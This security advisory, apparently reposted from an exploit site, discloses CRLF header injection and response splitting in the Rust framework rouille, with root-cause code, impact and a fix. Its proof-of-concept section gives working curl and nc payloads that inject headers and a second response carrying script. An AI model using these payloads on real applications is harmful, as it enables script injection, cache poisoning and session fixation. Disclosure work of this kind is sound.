Share
## https://sploitus.com/exploit?id=PACKETSTORM:227183
# Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
    
    **Assigned CVE ID:** CVE-2026-66746
    
    ## Summary
    
    rouille writes response header values to the client without checking them for
    carriage return or line feed. An application that places attacker-influenced text
    into a header value therefore emits extra headers, or an entire second HTTP
    response, on the wire.
    
    Two properties of rouille make this reachable in ordinary code. `Request::get_param`
    percent-decodes, so `%0d%0a` in a query string becomes a real CRLF. And
    `session::session` copies the client's own `Cookie` value into `Set-Cookie` with
    no validation at all.
    
    Every other widely used Rust HTTP stack rejects this at the type level:
    `http::HeaderValue::from_str` returns `InvalidHeaderValue` for CR and LF, which
    is why hyper, axum, actix-web and warp are not exposed the same way.
    
    ## Affected versions
    
    Repo URL: https://github.com/tomaka/rouille
    
    | | |
    |---|---|
    | First affected | 0.4.0 (2016-12-14) for the response header path below |
    | Last affected | 3.6.2 (2023-04-24), the current release |
    | Fixed in | no fixed version at time of writing |
    
    Releases before 0.4.0 emit responses through a different code path that was not
    examined, so they are not claimed either way. The `session::session` reflection
    described under path B exists from 0.3.2 (2016-12-02) onward.
    
    ## Severity
    
    CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
    case of CWE-93 (CRLF Injection).
    
    CVSS 4.0 base score 5.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
    
    ## Threat model
    
    Path A requires a remote, unauthenticated attacker and a victim who follows a
    link the attacker supplies. The attacker needs the application to put any
    request-derived string into a response header. Redirecting to a `next` or
    `return_to` query parameter is the common case.
    
    Path B requires only that the application calls `session::session` and reads the
    session id. The attacker controls their own `Cookie` header, so on its own this
    is self-inflicted. It becomes an attack against others when a shared cache
    stores the split response, or when combined with another way to set a cookie in
    the victim's browser.
    
    ## Root cause
    
    `rouille/src/lib.rs`, lines 624 to 640, passes values straight through:
    
    ```rust
    624              for (key, value) in rouille_response.headers {
    625                  if key.eq_ignore_ascii_case("Content-Length") {
    626                      continue;
    627                  }
    628  
    629                  if key.eq_ignore_ascii_case("Upgrade") {
    630                      upgrade_header = value;
    631                      continue;
    632                  }
    633  
    634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
    635                  {
    636                      response.add_header(header);
    ```
    
    `Header::from_bytes` checks only that the bytes are ASCII, and CR and LF are
    ASCII. `tiny_http-0.12.0/src/common.rs`, lines 166 to 172:
    
    ```rust
    166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
    ...
    171          let header = HeaderField::from_bytes(header).or(Err(()))?;
    172          let value = AsciiString::from_ascii(value).or(Err(()))?;
    ```
    
    The value is then written with no escaping.
    `tiny_http-0.12.0/src/response.rs`, lines 99 to 104:
    
    ```rust
     99      for header in headers.iter() {
    100          writer.write_all(header.field.as_str().as_ref())?;
    101          write!(&mut writer, ": ")?;
    102          writer.write_all(header.value.as_str().as_ref())?;
    103          write!(&mut writer, "\r\n")?;
    104      }
    ```
    
    ### Path A, percent-decoded query parameters
    
    `Request::get_param` decodes percent escapes, so the caller receives real control
    characters. `rouille/src/lib.rs`, lines 928 to 932:
    
    ```rust
    928              .map(|value| {
    929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
    930                      .decode_utf8_lossy()
    931                      .into_owned()
    932              })
    ```
    
    ### Path B, session identifiers reflected from the request
    
    `rouille/src/session.rs` takes the key from the client's cookie at line 59 and
    interpolates it into the response header at lines 75 to 81:
    
    ```rust
     59              key: cookie.into(),
    ...
     75          let header_value = format!(
     76              "{}={}; Max-Age={}; Path=/; HttpOnly",
     77              cookie_name, session.key, timeout_s
     78          );
     79          response
     80              .headers
     81              .push(("Set-Cookie".into(), header_value.into()));
    ```
    
    ## Proof of Concept
    
    ### Path A
    
    Step 1. Start a server that redirects to a query parameter.
    
    ```rust
    use rouille::Response;
    
    fn main() {
        rouille::start_server("127.0.0.1:8002", |request| {
            let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
            Response::redirect_303(next)
        });
    }
    ```
    
    Step 2. Request it with `%0d%0a` in the parameter.
    
    ```sh
    curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
    ```
    
    Result. `X-Injected` arrives as its own header:
    
    ```
    HTTP/1.1 303 See Other
    Server: tiny-http (Rust)
    Location: /a
    X-Injected: yes
    Content-Length: 0
    ```
    
    Step 3. Extend the payload past the end of the headers to emit a whole second
    response.
    
    ```sh
    curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
    ```
    
    Result. One request, two complete responses. The second carries an
    attacker-chosen status line, content type and body:
    
    ```
    HTTP/1.1 303 See Other
    Location: /a
    Content-Length: 0
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    
    <script>alert(1)</script>
    ```
    
    ### Path B
    
    Step 1. Start a server using the documented session idiom.
    
    ```rust
    use rouille::{session, Response};
    
    fn main() {
        rouille::start_server("127.0.0.1:8006", |request| {
            session::session(request, "SID", 3600, |s| {
                Response::text(format!("session id: {}", s.id()))
            })
        });
    }
    ```
    
    Step 2. Send a cookie whose value contains a bare LF. `\n` below is a single
    line feed, `\r\n` is a CRLF.
    
    ```sh
    printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
    ```
    
    Result. The value breaks out of `Set-Cookie` onto its own line:
    
    ```
    Set-Cookie: SID=abc
    X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
    ```
    
    Path B has three limits worth noting. Only a bare LF gets through, because CRLF
    would have ended the header line in `tiny_http`, so the client or cache must
    treat a lone LF as a terminator. Everything after the injection point still
    carries the `; Max-Age=3600; Path=/; HttpOnly` suffix from the same `format!`,
    so the primitive is a header with a fixed trailing string rather than a clean
    arbitrary header. And the attacker only controls their own cookie. Path A has
    none of these limits.
    
    ## Impact
    
    Script execution in the origin's security context, cache poisoning where a shared
    cache stores the injected response against the victim's URL, session fixation
    through an injected `Set-Cookie`, and overriding security headers such as CSP or
    CORS. Because path A produces a real CRLF, every client and cache splits on it.
    
    ## Remediation
    
    Validate header values in `Server::process` before handing them to `tiny_http`,
    in `rouille/src/lib.rs` around line 634:
    
    ```rust
    fn header_value_is_safe(v: &str) -> bool {
        !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
    }
    ```
    
    Return a 500 for the whole response rather than dropping the offending header,
    so the failure is visible instead of silently changing the response.
    
    Validate the session key in `session::session` as well: reject a cookie value
    that is not `[A-Za-z0-9]+` and generate a fresh id instead. Checking in
    `Response::with_additional_header`, `with_unique_header` and the `redirect_*`
    constructors would surface the error at the call site, where the application
    author can act on it.